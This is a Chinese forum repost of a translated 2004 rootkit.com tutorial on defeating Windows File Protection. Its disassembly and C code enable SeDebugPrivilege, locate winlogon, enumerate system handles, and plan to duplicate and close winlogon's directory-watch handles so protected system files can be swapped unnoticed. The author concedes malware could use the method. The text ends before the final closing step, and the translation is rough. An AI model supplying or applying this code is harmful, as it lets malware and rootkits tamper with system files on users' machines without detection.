韩冰 发表于 2004-11-21 00:21

Windows文件保护:如何斩断它飞翔的翅膀

作者: Ntoskrnl
翻译:时间风  来自:幻影旅团http://www.ph4nt0m.org/
来源:_blank>http://www.rootkit.com/
原文:_blank>http://www.rootkit.com/newsread.php?newsid=212


正文:

在这篇文章中,我将为你展示如何废掉WFP,再不需要重起到安全模式或者是恢复控制台的情况下。是的,你听说过。
我会向你演示如何改变系统文件并不会让系统注意到并且替换到原文件。如果你不知道WFP是什么,可以在google中
搜索到:整个英特网都充斥着这样的文章。总之我能够保证并没有关于这个主题的文章。

实际上,我过去并不想放出来这篇文章。主要因为我害怕它会帮助病毒和间谍软件也去这么做。当时,因为我写了相
关的代码并且马上给了某个人。改变我想法的是这个代码只会在你以管理员权限运行这个代码的时候才会起作用并且
这个程序以这个特权运行将会造成相当大的破坏。所以我认为这段代码不会造成很坏的影响。此外,系统文件保护如
果按照这个方法和用这个代码执行将会过时。所以我认为发布的时候到了。XP-SP2已经发布没有影响WFP,这样意味
着这段代码的公布不会给任何人造成损坏(去使用这段代码或是相同的技术)。顺便说一句,欺骗WFP并不是什么难
事,他只花费了我2个小时去完成了它。

首先,在我们编些什么之前,我们不得不来看看WFP是如何工作的。我不得不作这个去看看sfc_os.dll(sfc.dll如
果我们讨论的是Win2k)和Winlogon.exe(它是负责呼叫sfc.dll,当然了,去完成这个也是很简单的,亦仅仅需要
一个进程查看器)没有必要反汇编,我只是说Winlogon引用sfc.dll,当然了我那时指的是sfc_os.dll(绝大多数
sfc.dll出口是向前的。当然我们讨论的是XP)这个函数是依次启动WFP,继续进入到sfc_os.dll序数1。是什么执
行这个函数呢?我过去通读了代码,那时我发现这个呼叫重新得到WFP的注册值得选择权,后来我看到许多事件填充,
突然我明白了

代码如下:


.text:76C2B9ED push ebp
.text:76C2B9EE mov ebp, esp
.text:76C2B9F0 push ebx
.text:76C2B9F1 push esi
.text:76C2B9F2 mov esi,
.text:76C2B9F5 mov eax,
.text:76C2B9F8 xor ebx, ebx
.text:76C2B9FA cmp eax, ebx
.text:76C2B9FC jz short loc_76C2BA1B
.text:76C2B9FE cmp , ebx
.text:76C2BA04 jz short loc_76C2BA1B
.text:76C2BA06 mov eax,
.text:76C2BA0C and al, 1
.text:76C2BA0E dec al
.text:76C2BA10 neg al
.text:76C2BA12 sbb al, al
.text:76C2BA14 inc al
.text:76C2BA16 mov byte ptr , al
.text:76C2BA19 jmp short loc_76C2BA1E
.text:76C2BA1B
.text:76C2BA1B loc_76C2BA1B:
.text:76C2BA1B
.text:76C2BA1B mov byte ptr , bl
.text:76C2BA1E
.text:76C2BA1E loc_76C2BA1E:
.text:76C2BA1E
.text:76C2BA1E push
.text:76C2BA21 lea eax,
.text:76C2BA24 push 0C5Bh
.text:76C2BA29 push 1000h
.text:76C2BA2E push dword ptr
.text:76C2BA31 push eax
.text:76C2BA32 push ebx
.text:76C2BA33 push ebx
.text:76C2BA34 push dword ptr
.text:76C2BA37 push dword ptr
.text:76C2BA39 call ds:NtNotifyChangeDirectoryFile
.text:76C2BA3F cmp eax, ebx
.text:76C2BA41 jge short loc_76C2BA9A
.text:76C2BA43 cmp eax, 103h
.text:76C2BA48 jnz short loc_76C2BA76
.text:76C2BA4A push ebx
.text:76C2BA4B push 1
.text:76C2BA4D push dword ptr
.text:76C2BA50 call ds:NtWaitForSingleObject
.text:76C2BA56 cmp eax, ebx
.text:76C2BA58 jge short loc_76C2BA9A



我意识到WFP被以用户模式执行,仅仅是前后对照(一个多么残疾的保护)也许你不熟悉NtNotifyChangeDirectoryFile
(NT确定改变目录文件)FindFirstChangeNotification(寻找首先改变的通告的本地函数)...让我们看看msdn文档:

"FindFirstChangeNotification函数创建一个改变通告句柄并且建立最初的改变通告过滤条件。一个等待通告句柄的成功
执行当一个改变发生和一个过滤条件相匹配的时候在特定的目录或者分支。然而,这个函数不需要改变满足这个等待条件。"

"这个等待函数能够监视特定目录或者子树通过使用FindFirstChangeNotification函数返回的句柄。一个等待满足这时候
一个过滤条件发生在监视目录或者子树

在这个等候已经被满足之后,应用程序能够回应给条件并且继续监视目录通过呼叫FindNextChangeNotification函数和合适的等待函数"当句柄不在需要的时候,她能够使用FindCloseChangeNotification函数关闭。"

这个意味着什么呢?Winlogon的进程(通过sfc)监视每一个包含受保护文件的目录,实际上如果你用一个目标查看器调查进程(比如说基于sysinternals),你会看到一个句柄对于每一个受保护的目录。意味着我们只要关闭这些句柄用FindCloseChangeNotification或者CloseHandle去停止WFP监视系统目录。

好了,这里就是了:我们不能使WFP丧失能力从用户模式代码...cool,不是吗?不完全,事实上:如果这个工作不是那样简单会更好一些,我是说系统安全。

让我们开始编写:这个函数的句法,我是这样写的:

void main()
{
if (FuckWFPInTheAss() == TRUE)
{
// ok
}
else
{
// wrong
}
}

我认为非常简单的呼叫,让我们看看函数,首先我检查了我们运行的操作系统:


osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

if (!GetVersionEx((OSVERSIONINFO *) &osvi))
{
osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

if (!GetVersionEx ((OSVERSIONINFO *) &osvi))
return FALSE;
}


if (osvi.dwPlatformId != VER_PLATFORM_WIN32_NT ||
osvi.dwMajorVersion <= 4)
return FALSE;



如果我运行的不是NT的系统或者是基于4.0那时会返回失败(WTP被执行在Win2K以上)。然后我们需要一些函数他的地址是通过GetProcAddress得到:

// ntdll functions

pNtQuerySystemInformation = (NTSTATUS (NTAPI *)(
SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQuerySystemInformation");

pNtQueryObject = (NTSTATUS (NTAPI *)(HANDLE,
OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQueryObject");

// psapi functions

pEnumProcesses = (BOOL (WINAPI *)(DWORD *, DWORD, DWORD *))
GetProcAddress(hPsApi, "EnumProcesses");

pEnumProcessModules = (BOOL (WINAPI *)(HANDLE, HMODULE *,
DWORD, LPDWORD)) GetProcAddress(hPsApi, "EnumProcessModules");

pGetModuleFileNameExW = (DWORD (WINAPI *)(HANDLE, HMODULE,
LPWSTR, DWORD)) GetProcAddress(hPsApi, "GetModuleFileNameExW");

if (pNtQuerySystemInformation == NULL ||
pNtQueryObject == NULL ||
pEnumProcesses == NULL ||
pEnumProcessModules == NULL ||
pGetModuleFileNameExW == NULL)
return FALSE;


一会我们看到为什么我需要这些函数。下一步是得到"SeDebugPrivileges" 调整标记权限(我们可以这么做只有我们以管理员权限运行应用进程)

if (SetPrivileges() == FALSE)
return FALSE;


这里是这个函数:

BOOL SetPrivileges(VOID)
{
HANDLE hProc;
LUID luid;
TOKEN_PRIVILEGES tp;
HANDLE hToken;
TOKEN_PRIVILEGES oldtp;
DWORD dwSize;

hProc = GetCurrentProcess();

if (!OpenProcessToken(hProc, TOKEN_QUERY |
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
CloseHandle (hToken);
return FALSE;
}

ZeroMemory (&tp, sizeof (tp));

tp.PrivilegeCount = 1;
tp.Privileges.Luid = luid;
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
&oldtp, &dwSize))
{
CloseHandle(hToken);
return FALSE;
}

return TRUE;
}


然后我必须取得Winlogon的进程ID,所以我们必须浏览所有进程找到Winlogon:

// search winlogon

dwSize2 = 256 * sizeof(DWORD);

do
{
if (lpdwPIDs)
{
HeapFree(GetProcessHeap(), 0, lpdwPIDs);
dwSize2 *= 2;
}

lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2);

if (lpdwPIDs == NULL)
return FALSE;

if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))
return FALSE;

} while (dwSize == dwSize2);

dwSize /= sizeof(DWORD);

for (dwIndex = 0; dwIndex < dwSize; dwIndex++)
{
Buffer = 0;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, FALSE, lpdwPIDs);

if (hProcess != NULL)
{
if (pEnumProcessModules(hProcess, &hMod,
sizeof(hMod), &dwSize2))
{
if (!pGetModuleFileNameExW(hProcess, hMod,
Buffer, sizeof(Buffer)))
{
CloseHandle(hProcess);
continue;
}
}
else
{
CloseHandle(hProcess);
continue;
}

if (Buffer != 0)
{
GetFileName(Buffer);

if (CompareStringW(0, NORM_IGNORECASE,
Buffer, -1, WinLogon, -1) == CSTR_EQUAL)
{
// winlogon process found
WinLogonId = lpdwPIDs;
CloseHandle(hProcess);
break;
}

dwLIndex++;
}

CloseHandle(hProcess);
}

}

if (lpdwPIDs)
HeapFree(GetProcessHeap(), 0, lpdwPIDs);



现在我们有了进程ID,我们能够打开这个进程:

hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId);

if (hWinLogon == NULL)
{
return FALSE;
}

为什么我用PROCESS_DUP_HANDLE?那是什么呢?我们需要这个标记使用函数复制句柄(ZwDuplicateObject如果它听起来你很熟悉),我们会一会看到我们需要这个函数做什么。现在:


nt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize);

while (nt == STATUS_INFO_LENGTH_MISMATCH)
{
uSize += 0x1000;

if (pSystemHandleInfo)
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);

pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize,
MEM_COMMIT, PAGE_READWRITE);

if (pSystemHandleInfo == NULL)
{
CloseHandle(hWinLogon);
return FALSE;
}

nt = pNtQuerySystemInformation(SystemHandleInformation,
pSystemHandleInfo, uSize, &uBuff);
}

if (nt != STATUS_SUCCESS)
{
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
CloseHandle(hWinLogon);
return FALSE;
}

这段代码重新获得所有的系统范围打开句柄,包括那些Winlogon进程。让我们看看下面的步骤:

1)浏览所有打开的句柄检查那些属于Winlogon的

2)复制每一个Winlogon句柄到我们的进程用DuplicateHandle,一会它会给我们权限去请求句柄/目标 名字用NtQueryObject。

3)如果这个目标名称是那些我们想要阻止监视目录中的一个,我们需要再次呼叫DuplicateHandle用DUPLICATE_CLOSE_SOURCE标记然后呼叫CloseHandle关闭damn句柄。

前两点不需要太多解释,但是第三点不得不在使之更加清晰一些,我们不得不关闭关闭这些句柄就是每一个系统目录我们想要更改文件进去的。而且,禁止WFP,我们不得不至少禁止System32目录的监视。这个目录的目标名称是例如:Harddisk00\\Windows\\System32;因为我懒得去转换harddiskxx成为我们常用的比如C,我写了情形-忽略函数向后比较字符串:
页: [1]
查看完整版本: Windows文件保护:如何斩断它飞翔的翅膀